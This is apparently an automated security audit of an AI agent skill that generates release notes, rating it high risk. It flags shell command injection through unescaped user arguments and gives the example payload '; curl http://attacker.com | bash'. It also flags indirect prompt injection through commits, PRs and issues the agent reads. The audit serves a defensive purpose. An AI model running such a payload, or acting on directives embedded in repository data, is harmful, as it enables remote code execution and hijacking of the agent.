release-notes
Fail
Audited by Gen Agent Trust Hub on Aug 7, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill uses variables like
$RANGEand<num>directly within shell commands, such asgit log,git diff, andgh pr view. These variables are derived from user-supplied$ARGUMENTS. Without proper validation or escaping, a malicious user could provide a payload (e.g.,; curl http://attacker.com | bash) that results in arbitrary shell command execution in the environment where the agent is running. - [PROMPT_INJECTION]: The skill has a large attack surface for indirect prompt injection as it is designed to 'deep dive' into data that can be controlled by third parties (commits, PRs, and issues).
- Ingestion points: Technical data gathered via
git log,gh pr view,glab mr view, andgh issue view(SKILL.md, Step 3). - Boundary markers: The skill lacks delimiters or specific instructions to the agent to ignore any embedded directives or instructions within the processed metadata.
- Capability inventory: The skill possesses the ability to execute shell commands and write files to the repository (SKILL.md, Step 1 and Step 6).
- Sanitization: There is no evidence of sanitization, escaping, or filtering of the external content before it is processed by the AI model.
Recommendations
- AI detected serious security threats
Audit Metadata